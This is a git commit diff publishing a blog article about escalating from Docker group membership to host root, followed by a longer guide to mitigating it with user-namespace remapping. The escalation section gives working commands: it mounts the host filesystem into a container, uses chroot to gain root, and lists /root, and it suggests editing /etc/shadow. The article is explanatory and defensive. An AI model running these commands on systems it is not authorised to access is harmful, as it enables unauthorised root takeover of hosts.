Publish article
This commit is contained in:
parent
9b793223a0
commit
0f60516d58
1 changed files with 101 additions and 40 deletions
|
@ -8,21 +8,20 @@ tags = ["Docker", "Security"]
|
|||
keywords = ["", ""]
|
||||
description = ""
|
||||
showFullContent = false
|
||||
draft = true
|
||||
+++
|
||||
|
||||
I have done a little pentest audit on a friend VPS last week, he was providing Docker runtime
|
||||
I have done a little security audit on a friend VPS last week, he was providing Docker runtime
|
||||
to some people, with SSH access, and wanted to know if his setup was secure.
|
||||
|
||||
By default, docker only allow to run command as root user, in most case this is not desired since giving
|
||||
root access equals giving full power over the host. A simple workaround is to add the user to the 'docker'
|
||||
group so that the user will be able to dial with the docker socket. And that's what my friend has done. But this setup
|
||||
is **not secure at ALL** by default.
|
||||
group so that the user will be able to dial with the docker socket. That's what my friend has done. But by default
|
||||
this is **not secure at ALL**.
|
||||
|
||||
Let's see how to use the docker group to gain full root access on the host.
|
||||
|
||||
This method is really similar to the [lxc group privilege escalation](https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation),
|
||||
and that's how I've found this one.
|
||||
and that's how I've come up with this one.
|
||||
|
||||
# Privilege escalation
|
||||
|
||||
|
@ -34,32 +33,15 @@ creekorful@docker01:~$ id
|
|||
uid=1001(creekorful) gid=1001(creekorful) groups=1001(creekorful),998(docker)
|
||||
```
|
||||
|
||||
Here we can see that we are in the docker group, so we can use the docker daemon.
|
||||
Here we can see that we are in the docker group, so we can talk to the docker daemon.
|
||||
|
||||
To gain root access one the host, one can create a docker container and mount the host disk
|
||||
inside it.
|
||||
|
||||
This can be done with the following command:
|
||||
Let's try to display the files inside host /root:
|
||||
|
||||
```sh
|
||||
creekorful@docker01:~$ docker run -it -v /:/mnt/root debian:stable-slim /bin/sh
|
||||
#
|
||||
```
|
||||
|
||||
Here we are asking docker to create a container using the *debian:stable-slim image*, and run the */bin/sh* command inside it.
|
||||
|
||||
```sh
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
|
||||
We are now root inside the container. Since Docker has SUID bit set, we were able to mount the whole host disk
|
||||
inside the /mnt/root partition (*-v /:/mnt/root*).
|
||||
|
||||
Let's try to display */root* folder:
|
||||
|
||||
```sh
|
||||
# ls -altr /mnt/root/root
|
||||
creekorful@docker01:~$ docker run -it -v /:/mnt/root debian:stable-slim ls -altr /mnt/root/root
|
||||
total 56
|
||||
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
|
||||
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
|
||||
|
@ -67,32 +49,104 @@ drwx------ 2 root root 4096 Mar 27 07:52 .ssh
|
|||
drwx------ 2 root root 4096 Mar 27 22:43 .docker
|
||||
drwxr-xr-x 3 root root 4096 Mar 27 23:07 .local
|
||||
drwx------ 3 root root 4096 Jun 8 09:40 .config
|
||||
-rw------- 1 root root 14924 Jul 7 07:33 .viminfo
|
||||
drwx------ 6 root root 4096 Jul 7 07:33 .
|
||||
-rw-r--r-- 1 root root 5253 Jul 10 10:29 .bash_history
|
||||
drwxr-xr-x 18 root root 4096 Aug 23 20:14 ..
|
||||
-rw------- 1 root root 14345 Aug 25 09:14 .viminfo
|
||||
drwx------ 6 root root 4096 Aug 25 09:14 .
|
||||
-rw-r--r-- 1 root root 5774 Aug 25 09:55 .bash_history
|
||||
```
|
||||
|
||||
It works! One can now change the root password in */etc/shadow* for example
|
||||
and gain full root access on the host.
|
||||
Since Docker has SUID bit set, we were able to mount the whole host disk
|
||||
inside the /mnt/root partition (*-v /:/mnt/root*). And since we are root, we can list */root*.
|
||||
|
||||
Now let's try to mount again the host filesystem
|
||||
and use [chroot](https://linux.die.net/man/1/chroot) to gain full privileges.
|
||||
|
||||
```sh
|
||||
creekorful@docker01:~$ docker run -it -v /:/mnt/root debian:stable-slim chroot /mnt/root
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
|
||||
We now have full root access on the host.
|
||||
|
||||
# How to mitigate the exploit?
|
||||
|
||||
Fortunately solutions exist to prevent this exploit. I will cover the most straightforward one.
|
||||
|
||||
Each unix process have a /proc/self/{u,g}id_map files. These files are used to give an ID mapping,
|
||||
and are inherited.
|
||||
## Linux namespaces?
|
||||
|
||||
Linux has a [namespacing functionality](https://www.man7.org/linux/man-pages/man7/namespaces.7.html) use to
|
||||
introduce the network, mount, user, ... isolation. Containerization (and therefore Docker) uses these to add security.
|
||||
|
||||
Basically each container will run into his own namespaces to isolate it from the host.
|
||||
|
||||
The process isolation is implemented using the [user namespace](https://www.man7.org/linux/man-pages/man7/user_namespaces.7.html).
|
||||
User namespace allow to have a different user inside a namespace than the parent one. We can for example run as root
|
||||
inside a namespace while being un-privileged.
|
||||
|
||||
Let's try this quickly:
|
||||
|
||||
```sh
|
||||
creekorful@docker01:~$ cat /proc/self/{u,g}id_map
|
||||
0 0 4294967295
|
||||
root@test-vm:~# id
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
root@test-vm:~# unshare -U /bin/sh # create a namespace and execute /bin/sh inside it
|
||||
$ id
|
||||
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
||||
$ echo $$ # get current pid
|
||||
29552
|
||||
```
|
||||
|
||||
By running [unshare](https://man7.org/linux/man-pages/man1/unshare.1.html) I have spawn a /bin/sh process
|
||||
detached from the user namespace (-U). We can see that I'm know running as nobody inside the namespace,
|
||||
despite being root on the host.
|
||||
|
||||
Each unix process have a /proc/\<pid>/{u,g}id_map files.
|
||||
These files are used to give a user/group ID mapping: we can say something like:
|
||||
|
||||
uid 0 in the current namespace is mapped to uid 1000 on the parent namespace. (0 1000 ...)
|
||||
|
||||
Let's try to give us an identity in our namespace.
|
||||
|
||||
```sh
|
||||
root@test-vm:~#echo "1000 0 65536" > /proc/29552/uid_map
|
||||
```
|
||||
|
||||
By issuing this command we will override the identity mapping of the namespace in the following way:
|
||||
- uid in the namespace will start at 1000
|
||||
- uid will be mapped in the parent namespace starting from 0
|
||||
- the next 65536 uids will be mapped using this rule
|
||||
|
||||
So basically the first uid being assigned in the namespaced process will have uid 1000 and this will
|
||||
correspond to uid 1000+0 = 1000 in the parent namespace.
|
||||
|
||||
Let's confirm that:
|
||||
|
||||
```sh
|
||||
$ id
|
||||
uid=1000(creekorful) gid=65534(nogroup) groups=65534(nogroup)
|
||||
```
|
||||
|
||||
it works! we are now running as uid 1000 in the user namespace.
|
||||
|
||||
## Preventing from using root
|
||||
|
||||
So now that we know how the user namespace is working,
|
||||
we'll see how to use that in our advantage. You just need to know that for Docker,
|
||||
each container will run in his own user namespace.
|
||||
|
||||
Let's inspect the user identity mapping of our container:
|
||||
|
||||
```sh
|
||||
creekorful@docker01:~$ docker run -it -v /:/mnt/root debian:stable-slim chroot /mnt/root
|
||||
# cat /proc/self/uid_map
|
||||
0 0 4294967295
|
||||
```
|
||||
|
||||
This file tells us: uid 0 for current process is mapped to parent uid 0, and it's the same up to uid 4294967295.
|
||||
This file tells us: uid 0 for current namespace is mapped to parent uid 0, and it's the same up to uid 4294967295.
|
||||
So being root in the container = being root on the host.
|
||||
|
||||
What we will do mitigate the exploit is to map container uid 0 to something non-root (!= 0), fortunately this can
|
||||
be done easily by using /etc/sub{g,u}id files.
|
||||
What we will do to mitigate the exploit is to map container uid 0 to something non-root (!= 0) on the host (the parent namespace),
|
||||
fortunately this can be done easily by using /etc/sub{g,u}id [files](https://www.man7.org/linux/man-pages/man5/subuid.5.html).
|
||||
|
||||
```sh
|
||||
creekorful@docker01:~$ cat /etc/sub{g,u}id
|
||||
|
@ -100,6 +154,7 @@ debian:100000:65536
|
|||
creekorful:165536:65536
|
||||
debian:100000:65536
|
||||
creekorful:165536:65536
|
||||
...
|
||||
```
|
||||
|
||||
These files are used to determinate the allowed range of sub {user,group} ID allowed to use by the user.
|
||||
|
@ -115,7 +170,7 @@ Add the dockremap entry to the /etc/subuid file:
|
|||
root@docker01:~# echo 'dockremap:100:65536' >> /etc/subuid
|
||||
```
|
||||
|
||||
By doing this we are saying: root inside the container (0) will be mapped to uid (100) in parent process (on the host).
|
||||
By doing this we are saying: root inside the container (0) will be mapped to uid (100) in the parent namespace (on the host).
|
||||
|
||||
Now we must ask docker to create the container using the *dockremap* user.
|
||||
This can be done by modifying /etc/docker/daemon.json
|
||||
|
@ -130,6 +185,10 @@ This can be done by modifying /etc/docker/daemon.json
|
|||
|
||||
And finally, just restart the docker daemon to apply the changes.
|
||||
|
||||
```sh
|
||||
root@docker01:~# systemctl restart docker
|
||||
```
|
||||
|
||||
# Let's try again
|
||||
|
||||
```sh
|
||||
|
@ -145,9 +204,9 @@ As we can see we are still root inside the container. But what's for the outside
|
|||
0 100 65536
|
||||
```
|
||||
|
||||
as you can see the lower uid is now 100 instead of 0. We are no more root.
|
||||
the uid is now 100 instead of 0. We are no more root (our user id on the host is now 0+100=100).
|
||||
|
||||
Let's try to check the content of /etc/shadow:
|
||||
Let's try to check the content of /etc/shadow to make sure it's working:
|
||||
|
||||
```sh
|
||||
# cat /mnt/root/etc/shadow
|
||||
|
@ -155,3 +214,5 @@ cat: can't open '/mnt/root/etc/shadow': Permission denied
|
|||
```
|
||||
|
||||
the exploit is now mitigated.
|
||||
|
||||
Happy hacking!
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue